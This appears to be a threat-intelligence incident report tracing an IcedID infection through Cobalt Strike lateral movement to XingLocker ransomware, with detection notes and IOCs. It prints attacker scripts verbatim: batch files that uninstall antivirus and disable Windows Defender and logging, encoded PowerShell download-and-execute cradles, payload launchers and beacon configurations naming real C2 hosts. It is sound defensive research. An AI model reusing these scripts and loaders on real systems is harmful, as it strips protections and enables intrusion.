IcedID to XingLocker Ransomware in 24 hours

IcedID to XingLocker Ransomware in 24 hours
2021-10-18 10:11:22 Author: thedfirreport.com(查看原文) 阅读量:155 收藏

Intro

Towards the end of July, we observed an intrusion that began with IcedID malware and ended in XingLocker ransomware, a Mountlocker variant. XingLocker made its first appearance in early May of this year. The new group was featured in the AstroLocker ransomware blog, and it has been very active since then.

In this intrusion, we observed the threat actors use multiple DLL Beacons that would call out to different Cobalt Strike C2 channels. It appears that operators used different payloads, to accomplish different tasks, on each phase of the intrusion. The threat actors used batch scripts during the intrusion for a number of purposes, primarily to disable antivirus programs and execute payloads.

Case Summary

This case started with an IcedID infection from a malware campaign as reported by Myrtus. As with most commodity malware we see, IcedID executes the initial discovery commands and then exfiltrates the results via the C2 channel. If threat actors find the organization to be of interest, they will launch the next phase. In some cases, there might be different threat actor groups working on different phases of the attack. In this instance, the threat actors instructed IcedID to download and execute the next stage malware two hours after the initial compromise. The payload was a Cobalt Strike Beacon in the form of a DLL.

Upon initial execution, Cobalt Strike ran some discovery commands before injecting into the LSASS process to steal cached credentials. The threat actors did not waste any time, and within four minutes, they gained administrative credentials then began searching for the domain controllers. Once the domain controllers were identified, they used Cobalt Strike’s “jump psexec_psh” capability, which creates a Windows service that executes a Beacon executable to move laterally. Having gained access to the domain controllers, the attackers downloaded and executed AdFind to collect further information about the domain.

The attacker’s preferred scripting various parts of the intrusion via batch scripts. They had a script for persistence, defense evasion and execution tasks. A complete list of those scripts came from hxxps://styservice[.]com as we shared with the community in this tweet thread. The first batch script we saw was to schedule a task which would execute a command to load a Cobalt Strike Beacon into memory using regsvr32. This persistence mechanism was only seen on the domain controllers and one other critical server.

The lateral movement and execution of batch scripts continued with the operators expanding their network footprint. It is worth mentioning that it appears they chose which hosts to pivot to by assessing the importance implied by their hostnames. After landing on an “important” host, the first task was to execute various batch scripts to disable antivirus programs. On one host, common backup utilities were also disabled.

Three hours into the intrusion and the attackers had deployed Beacons across various hosts on the network. Despite that, they deployed another Beacon using a PowerShell loader method, this time on the beachhead. They used this Beacon to run PowerView’s Invoke-ShareFinder module in an effort to discover potentially interesting directories and files. BloodHound was also executed as part their reconnaissance activities. At the same time, the operators performed an exhaustive port scan on the servers they had earlier identified to be “important”. Minutes away from meeting their final objective, the operators manually searched for files and directories of interest for the second time.

Around 23 hours after the initial intrusion, the threat actors moved towards their final objective of deploying XingLocker ransomware. The deployment took place via wmic and batch scripts. We did not observe any overt exfiltration of data; however, it is possible that the threat actors used Cobalt Strike to transmit sensitive data.

Services

We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, Metasploit, Empire, PoshC2, BazarLoader, etc. More information on this service and others can be found here.

The Cobalt Strike servers in this case were added to the Threat Feed on 7/19, 7/26 and 7/27.

We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our Security Researcher and Organization services.

Timeline

Analysis and reporting completed by @kostastsale and @0xtornado

Reviewed by @RoxpinTeddy

MITRE ATT&CK

Initial Access

The IcedID infection came as a result of a phishing campaign as reported by Myrtus on Twitter.

Initial IcedID was executed on the beachhead using regsvr32.exe

Automated analysis of this IcedID sample extracts the following configuration for the staging server:

{
  "Campaign ID": 1394912167,
  "C2 url": "feedbackfileweb.club"}

IcedID core analysis show additional C2 infrastructure as per this sample:

gsterangsic.buzz
oscanonamik.club
riderskop.top
iserunifish.club

Execution

Upon the execution of the IcedID sample, we observed a download and execution of a malicious DLL ikaqkk.dll:

Below is a screenshot of packet where we can spot the GZIPLOADER downloading the first stage from the C2:

A detailed GZIPLOADER analysis from Binary Defense is available here.

The DLL was then executed using rundll32.exe one second later:

rundll32.exe "C:\Users\REDACTED\AppData\Local\REDACTED\ikaqkk.dll",update /i:"TimberMule\license.dat"

Cobalt strike Beacon DLLHost.exe was downloaded and loaded via process hollowing a few hours after the initial IcedID execution:

The threat actors connected to the machine to run the first discovery commands using Cobalt Strike Beacon. The threat actors then downloaded an additional Cobalt Strike Beacon kaslose.dll via curl and executed it via regsvr32:

The Threat actors also executed HTA and PowerShell loader to load Cobalt Strike Beacon in memory on beachhead:

Persistence

IcedID Persistence

Upon IcedID execution, a scheduled task named {3D0CCC72-D85D-7A63-8C0A-66CF5BAFD686} was created. The task was scheduled to execute every hour:

The new scheduled task was registered under EID 106 as seen below. (EIDs: 106,200,201 “Microsoft-Windows-TaskScheduler\Operational.evtx”)

Correlating this with Process Execution logs from MDE, shows that the task was executing the IcedID downloaded DLL:

Cobalt Strike Persistence

While analyzing this intrusion, we observed further persistence via scheduled tasks associated with post-exploitation activities.
This scheduled task with name HpSupport executed a Cobalt Strike Beacon kaslose64.dll both on the Domain Controller and the File Server:

On the File Server, the same Scheduled task was created with a slightly different name:

The star.bat script contained the following lines in both cases:

!echo OFF
regsvr32 C:\users\public\music\kaslose64.dll

Defense Evasion

Process Injection: Process Hollowing

IcedID reached out to 37.120.222[.]100:8080 to download and load Cobalt Strike Beacon via process hollowing technique:

Killing multiple Services and Disabling Security Tools

The threat actors executed a 1698 line batch script kasper.bat on a file server, which kills multiple processes using taskill, stops/disables several services using net stop and sc config and disables a number of security tools using WMI.

Here is an extract from the kasper.bat script:

start wmic product where name="Webroot SecureAnywhere" call uninstall /nointeractive
start wmic product where name="Symantec Endpoint Protection" call uninstall /nointeractive
start wmic product where name="AVG 2015" call uninstall /nointeractive
start wmic product where name="McAfee VirusScan Enterprise" call uninstall /nointeractive
start wmic product where name="McAfee Agent" call uninstall /nointeractive
start wmic product where name="McAfee DLP Endpoint" call uninstall /nointeractive
start wmic product where name="McAfee Endpoint Security Platform" call uninstall /nointeractive
start wmic product where name="McAfee Endpoint Security Threat Prevention" call uninstall /nointeractive
start wmic product where name="Microsoft Security Client" call uninstall /nointeractive
start wmic product where name="Malwarebytes' Managed Client" call uninstall /nointeractive
start wmic product where name="Sophos System Protection" call uninstall /nointeractive
start wmic product where name="Sophos AutoUpdate" call uninstall /nointeractive
start wmic product where name="Sophos Remote Management System" call uninstall /nointeractive
start wmic product where name="McAfee SiteAdvisor Enterprise" call uninstall /nointeractive
start wmic product where name="Symantec Backup Exec Remote Agent for Windows" call uninstall /nointeractive
start wmic product where name="ESET File Security" call uninstall /nointeractive
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true
powershell.exe Uninstall-WindowsFeature -Name Windows-Defender

Disabling Windows Defender using multiple techniques

The threat actors executed three other scripts named fed1.bat, fed2.bat and fed3.bat using PowerShell and manipulating several registry keys to disable Windows Defender.

Content of fed1.bat script:

@echo off
powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true
powershell.exe Uninstall-WindowsFeature -Name Windows-Defender
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
rem USE AT OWN RISK AS IS WITHOUT WARRANTY OF ANY KIND !!!!!
rem https://technet.microsoft.com/en-us/itpro/powershell/windows/defender/set-mppreference
rem To also disable Windows Defender Security Center include this
rem reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
rem 1 - Disable Real-time protection
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

Content of fed2.bat script:

@echo off
rem 0 - Disable Logging
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
rem Disable WD Tasks
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
rem Disable WD systray icon
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
rem Remove WD context menu
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
rem Disable WD services
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
rem Run "Disable WD.bat" again to disable WD services
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

Content of fed3.bat script:

@echo off
rem USE AT OWN RISK AS IS WITHOUT WARRANTY OF ANY KIND !!!!!
rem https://technet.microsoft.com/en-us/itpro/powershell/windows/defender/set-mppreference
rem To also disable Windows Defender Security Center include this
rem reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
rem 1 - Disable Real-time protection
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
rem 0 - Disable Logging
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
rem Disable WD Tasks
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
rem Disable WD systray icon
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
rem Remove WD context menu
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
rem Disable WD services
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
rem Run "Disable WD.bat" again to disable WD services

It appears that the information from these 3 scripts were lifted from the first revision of Revisions · quick-disable-windows-defender.bat · GitHub. Fed1 is half of that batch file and Fed2 is the other half. Fed3 is a complete copy. This tells us that the threat actor was not aware of what was in these scripts or else they wouldn’t have ran fed1/fed2 and fed3 considering they do the same thing.

Credential Access

The threat actors injected into a high privileged process and then access cached credentials from LSASS:

Related named pipe activity based on Cobalt Strike patterns for using Mimikatz Pass-The-Hash function to run local and remote commands. The named pipe was used to pass the results back to the Beacon process.

Windows EID: 4673 – A privileged service was called:

Discovery

IcedID initial Environment Discovery

Several discovery commands executed from IcedID after the initial execution:

ipconfig /all
cmd.exe /c chcp >&2
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
systeminfo
net config workstation
nltest /domain_trusts
nltest /domain_trusts /all_trusts
net view /all /domain
net view /all
net group "Domain Admins" /domain

Cobalt Strike Beacon Discovery

Cobalt Strike’s appino Beacon, ran discovery commands upon initial execution:

cmd.exe /C ping -n 1<redacted>
cmd.exe /C ping -n 1 <redacted>
cmd.exe /C nltest /domain_trusts&nltest /dclist:&c:\windows\sysnative\nltest /domain_trusts&c:\windows\sysnative\nltest /dclist:
cmd.exe /C netstat -a -n -p tcp | find "ESTAB"
cmd.exe /C net group "domain Admins" /DOMAIN
cmd.exe /C net group "Domain Computers" /DOMAIN
cmd.exe /C ipconfig /all

Active Directory Domain Discovery

Discovering domain controllers prior to pivoting:

After discovering and pivoting to the Domain Controller, threat actors used both AdFind and BloodHound to explore the Active Directory Domain.
Executing Adfind on the Domain Controller:

Evidence of BloodHound execution on the Domain Controller:

The threat actors also executed PowerView Invoke-ShareFinder module on the beachhead host:

powershell -nop -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADAAOQA2ADYALwAnACkAOwAgAEkAbgB2AG8AawBlAC0AUwBoAGEAcgBlAEYAaQBuAGQAZQByACAALQBDAGgAZQBjAGsAUwBoAGEAcgBlAEEAYwBjAGUAcwBzAA==

Decoded command:

IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:10966/'); Invoke-ShareFinder -CheckShareAccess

The threat actors also executed PowerView Invoke-FindLocalAdminAccess module on one of the compromised servers:

powershell -nop -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbABvAGMAYQBsAGgAbwBzAHQAOgAzADcAOQAyADMALwAnACkAOwAgAEkAbgB2AG8AawBlAC0ARgBpAG4AZABMAG8AYwBhAGwAQQBkAG0AaQBuAEEAYwBjAGUAcwBzACAALQB0AGgAcgBlAGEAZABzACAANQAwAA==

Decoded command:

IEX (New-Object Net.Webclient).DownloadString('http://localhost:37923/'); Invoke-FindLocalAdminAccess -threads 50

We also saw exhaustive port scanners of certain servers before additional discovery.

File and Directory Discovery

The following discovery commands were run on all hosts including the Domain Controllers:

Lateral Movement

The first Lateral Movement to the Domain Controller was performed using remote services creation (Executing spoolsv.exe via remote services):

The spoolsv.exe binary is a Cobalt Strike artifact used for Lateral Movement and C2 which decodes to the configuration below:

{
  "BeaconType": [
    "HTTPS"
  ],
  "Port": 443,
  "SleepTime": 4000,
  "MaxGetSize": 1403644,
  "Jitter": 37,
  "C2Server": "kaslose.com,/jquery-3.3.1.min.js",
  "HttpPostUri": "/jquery-3.3.2.min.js",
  "Malleable_C2_Instructions": [
    "Remove 1522 bytes from the end",
    "Remove 84 bytes from the beginning",
    "Remove 3931 bytes from the beginning",
    "Base64 URL-safe decode",
    "XOR mask w/ random key"
  ],
  "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==",
  "HttpGet_Verb": "GET",
  "HttpPost_Verb": "POST",
  "HttpPostChunk": 0,
  "Spawnto_x86": "%windir%\\syswow64\\dllhost.exe",
  "Spawnto_x64": "%windir%\\sysnative\\dllhost.exe",
  "CryptoScheme": 0,
  "Proxy_Behavior": "Use IE settings",
  "Watermark": 0,
  "bStageCleanup": "True",
  "bCFGCaution": "False",
  "KillDate": 0,
  "bProcInject_StartRWX": "False",
  "bProcInject_UseRWX": "False",
  "bProcInject_MinAllocSize": 17500,
  "ProcInject_PrependAppend_x86": [
    "kJA=",
    "Empty"
  ],
  "ProcInject_PrependAppend_x64": [
    "kJA=",
    "Empty"
  ],
  "ProcInject_Execute": [
    "ntdll:RtlUserThreadStart",
    "CreateThread",
    "NtQueueApcThread-s",
    "CreateRemoteThread",
    "RtlCreateUserThread"
  ],
  "ProcInject_AllocationMethod": "NtMapViewOfSection",
  "bUsesCookies": "True",
  "HostHeader": ""}

Additional Lateral Movement technique was observed, where the threat actors used Cobalt Strike’s jump psexec_psh:

Using Cyberchef (recipe), we decoded the obfuscated powershell loader, which is using the default named pipe \.\pipe\status_f5:

Threat actors also pivoted to a domain controller by using the same Cobalt Strike artifacts, spoolsv.exe via remote service creation:

Right after initial Lateral Movement, a second Cobalt Strike Beacon kaslose64.dll was executed on a critical server.

Command and Control

Rita stands for Real Intelligence Threat Analytics (RITA), developed by Active Countermeasures. Rita is a framework for identifying command and control communication, also known as beaconing. As the name implies, beaconing refers to delivering regular messages from an infected host to an attacker-controlled host. Beacon is the malware agent installed on the victim’s device and is responsible for communicating with the C2 server. Rita is consuming zeek/bro logs and detecting suspected beaconing activity using network traffic calculations.

It then assigns a value ranging from 0.1 to 1.0, with the greater the score indicating that the network activity is suspicious. Rita is utilized as a hunting tool rather than a real-time detection tool, though simple scripting allows Rita to be used for live traffic analysis. However, analysts should add additional context and filter the results accordingly. Rita can only identify suspicious communication and should not be automated as a preventative control. For more info on how RITA works check out the mathamatics here.

Using with this case network traffic RITA was able to identify all active Beacons from the impacted hosts in the network as seen in the screenshot below:

IcedID:

gsterangsic.buzz
oscanonamik.club
riderskop.top
iserunifish.club
5.61.46.161
176.97.64.194

JA3:a0e9f5d64349fb13191bc781f81f42e1
JA3s:ec74a5c51106f0419184d0dd08fb05bc
Certificate: [f8:4e:05:70:39:7b:8a:81:d3:0e:09:be:3c:68:14:00:d2:6d:8c:07]
Not Before: 2021/07/21 14:07:11 UTC 
Not After: 2022/07/21 14:07:11 UTC 
Issuer Org: Internet Widgits Pty Ltd 
Subject Common: localhost 
Subject Org: Internet Widgits Pty Ltd 
Public Algorithm: rsaEncryption

JA3:a0e9f5d64349fb13191bc781f81f42e1
JA3s:ec74a5c51106f0419184d0dd08fb05bc
Certificate: [87:19:1c:7c:0f:4e:e0:96:5c:b4:c9:de:a0:41:47:dd:5a:ef:4e:c4]
Not Before: 2021/07/21 06:53:48 UTC 
Not After: 2022/07/21 06:53:48 UTC 
Issuer Org: Internet Widgits Pty Ltd 
Subject Common: localhost 
Subject Org: Internet Widgits Pty Ltd 
Public Algorithm: rsaEncryption

Cobalt Strike C2 configuration:

kaslose.com (146.70.24.186) – This Cobalt Strike server was added to our Threat Feed on 07/19/2021.

JA3:a0e9f5d64349fb13191bc781f81f42e1
JA3s:ae4edc6faf64d08308082ad26be60767
Certificate: [7e:6c:72:b8:83:e3:9f:28:e0:af:06:45:2b:73:73:f1:86:89:cc:d7]
Not Before: 2021/07/20 15:53:12 UTC 
Not After: 2021/10/18 15:53:10 UTC 
Issuer Org: Let's Encrypt 
Subject Common: kaslose.com [kaslose.com ]
Public Algorithm: rsaEncryption

{
    "x64": {
        "sha256": "8cbd66dd196a5c54549dc350fa1734dddcff2da782a4a0682e8a79de7bbdf505",
        "sha1": "65c4379c9bcca13c4e357bf6cc60af4ced8090a2",
        "uri_queried": "/4Ovd",
        "config": {
            "Watermark": 0,
            "Method 2": "POST",
            "Spawn To x86": "%windir%\\syswow64\\dllhost.exe",
            "Beacon Type": "8 (HTTPS)",
            "HTTP Method Path 2": "/jquery-3.3.2.min.js",
            "C2 Host Header": "",
            "Spawn To x64": "%windir%\\sysnative\\dllhost.exe",
            "C2 Server": "kaslose.com,/jquery-3.3.1.min.js",
            "Jitter": 37,
            "Method 1": "GET",
            "Port": 443,
            "Polling": 4000
        },
        "time": 1629006465815.1,
        "md5": "af56c32d3d6e5ffa8b20a97580e59656"
    },
    "x86": {
        "sha256": "56ab98d818638b3108505e9778c2c0d021b9f71f882abf1626098780560e435d",
        "sha1": "c216520a8b30894cbd529bfb805dca7c253b85f6",
        "uri_queried": "/HjIa",
        "config": {
            "Watermark": 0,
            "Method 2": "POST",
            "Spawn To x86": "%windir%\\syswow64\\dllhost.exe",
            "Beacon Type": "8 (HTTPS)",
            "HTTP Method Path 2": "/jquery-3.3.2.min.js",
            "C2 Host Header": "",
            "Spawn To x64": "%windir%\\sysnative\\dllhost.exe",
            "C2 Server": "kaslose.com,/jquery-3.3.1.min.js",
            "Jitter": 37,
            "Method 1": "GET",
            "Port": 443,
            "Polling": 4000
        },
        "time": 1629006464435.3,
        "md5": "5fe82e1ccc5a68c39f314aad79f16cbb"
    }
}

The following Cobalt Strike server was added to our Threat Feed on 07/26/2021.

cdnsharepoi.xyz
cdnchrome.xyz
134.195.90.187:80
134.195.90.186:80
134.195.90.185:80

HTTP User Agent:

Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/5.0; rv:11.0) like Gecko 20210505604

JA3:a0e9f5d64349fb13191bc781f81f42e1
JA3s:fd4bc6cea4877646ccd62f0792ec0b62
Certificate: [5c:d1:8b:c9:51:f2:5b:ed:ad:fe:6a:1e:c8:9c:ec:7f:29:12:7b:b2]
Not Before: 2021/06/07 17:50:37 UTC 
Not After: 2021/09/05 17:50:37 UTC 
Issuer Org: Let's Encrypt 
Subject Common: cdnwin.xyz [cdnwin.xyz ]
Public Algorithm: rsaEncryption

Based on the Subject Common name (cdnwin.xyz) we can see that there are 5 Cobalt Strike servers associated with this group all hosted on HostHatch, and registered by NameCheap. Still online as of 10/10/2021

{
    "BeaconType": [
        "HTTP"
    ],
    "Port": 80,
    "SleepTime": 10000,
    "MaxGetSize": 1398191,
    "Jitter": 10,
    "C2Server": "134.195.90.186,/updates/query_result.php,134.195.90.185,/updates/query_result.php,cdnchrome.xyz,/updates/query_result.php,cdnsharepoi.xyz,/updates/query_result.php",
    "HttpPostUri": "/updates/lims.php",
    "Malleable_C2_Instructions": [
        "Remove 21 bytes from the end",
        "Remove 66 bytes from the beginning",
        "Base64 decode"
    ],
    "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==",
    "HttpGet_Verb": "GET",
    "HttpPost_Verb": "POST",
    "HttpPostChunk": 0,
    "Spawnto_x86": "%windir%\\syswow64\\svchost.exe",
    "Spawnto_x64": "%windir%\\sysnative\\svchost.exe",
    "CryptoScheme": 0,
    "Proxy_Behavior": "Use IE settings",
    "Watermark": 0,
    "bStageCleanup": "False",
    "bCFGCaution": "False",
    "KillDate": 0,
    "bProcInject_StartRWX": "True",
    "bProcInject_UseRWX": "True",
    "bProcInject_MinAllocSize": 16384,
    "ProcInject_PrependAppend_x86": [
        "kJA=",
        "Empty"
    ],
    "ProcInject_PrependAppend_x64": "Empty",
    "ProcInject_Execute": [
        "ntdll.dll:RtlUserThreadStart",
        "SetThreadContext",
        "RtlCreateUserThread"
    ],
    "ProcInject_AllocationMethod": "VirtualAllocEx",
    "bUsesCookies": "False",
    "HostHeader": ""}

croperdate.com (146.70.24.133:443) - This Cobalt Strike server was added to our Threat Feed on 07/27/2021.

JA3:a0e9f5d64349fb13191bc781f81f42e1
JA3s:ae4edc6faf64d08308082ad26be60767
Certificate: [32:c6:10:53:d8:b9:78:25:57:24:fc:d0:a3:13:a1:02:fe:5a:69:e9]
Not Before: 2021/07/27 10:49:01 UTC 
Not After: 2021/10/25 10:48:59 UTC 
Issuer Org: Let's Encrypt 
Subject Common: croperdate.com [croperdate.com ]
Public Algorithm: rsaEncryption

"x64": {
    "md5": "e830976cb63c0741f77d03e2380be20f",
    "sha256": "83b06b64509af99fb9c467149b00f1110249762f8afe611e37f60958e074d1ba",
    "config": {
      "Spawn To x64": "%windir%\\sysnative\\dllhost.exe",
      "Method 2": "POST",
      "Spawn To x86": "%windir%\\syswow64\\dllhost.exe",
      "HTTP Method Path 2": "/jquery-3.3.2.min.js",
      "Method 1": "GET",
      "Jitter": 37,
      "C2 Server": "croperdate.com,/jquery-3.3.1.min.js",
      "Beacon Type": "8 (HTTPS)",
      "Port": 443,
      "Polling": 5000
    },
    "time": 1627388580602.7,
    "sha1": "b3cd1f976ed13ec2bc0abeef7ecea309c0c5461c"
  },
  "x86": {
    "md5": "a5449d92756386dd749a8013d5267f14",
    "sha256": "8da83bde3f4e7643a30ab818093981acef7e8870080db60a98286a1d9624dda1",
    "config": {
      "Spawn To x64": "%windir%\\sysnative\\dllhost.exe",
      "Method 2": "POST",
      "Spawn To x86": "%windir%\\syswow64\\dllhost.exe",
      "HTTP Method Path 2": "/jquery-3.3.2.min.js",
      "Method 1": "GET",
      "Jitter": 37,
      "C2 Server": "croperdate.com,/jquery-3.3.1.min.js",
      "Beacon Type": "8 (HTTPS)",
      "Port": 443,
      "Polling": 5000
    },
    "time": 1627388577368.7,
    "sha1": "25a797d4679c40c1599949356cec9e350fdd5588"
  }

Exfiltration

No exfiltration TTPs were observed while analyzing this intrusion, however, as stated in the case summary, it is possible that the threat actors used Cobalt Strike (encrypted channel) to transmit sensitive data such as Word documents.

Impact

The ransomware was executed on multiple servers using a batch script start.bat:

@echo off
rundll32 c:\users\public\music\update64.dll,start

Here is the first ransomware execution which was observed on the Domain Controller:

Below is another example of the ransomware execution on one of the external servers:

Once the encryption process was complete a file called RecoveryManual.html was left across the filesystem with the instructions on how to contact the threat actors for the ransom negotiations.

IOCs

Network

IcedID C2
37.120.222.100
176.97.64.194  calseled.bond
176.97.64.194  riderskop.top  
feedbackfileweb.club
5.61.46.161  gsterangsic.buzz

Cobalt Strike C2
146.70.24.133  croperdate.com
146.70.24.186   kaslose.com
134.195.90.187  cdnsharepoi.xyz
134.195.90.187  cdngithub.xyz
134.195.90.187  cdnwindow.xyz
134.195.90.187  cdnchrome.xyz
134.195.90.187  cdnwin.xyz
134.195.90.186  cdnwin.xyz
134.195.90.185  cdnwin.xyz

File

0B330A76.bat
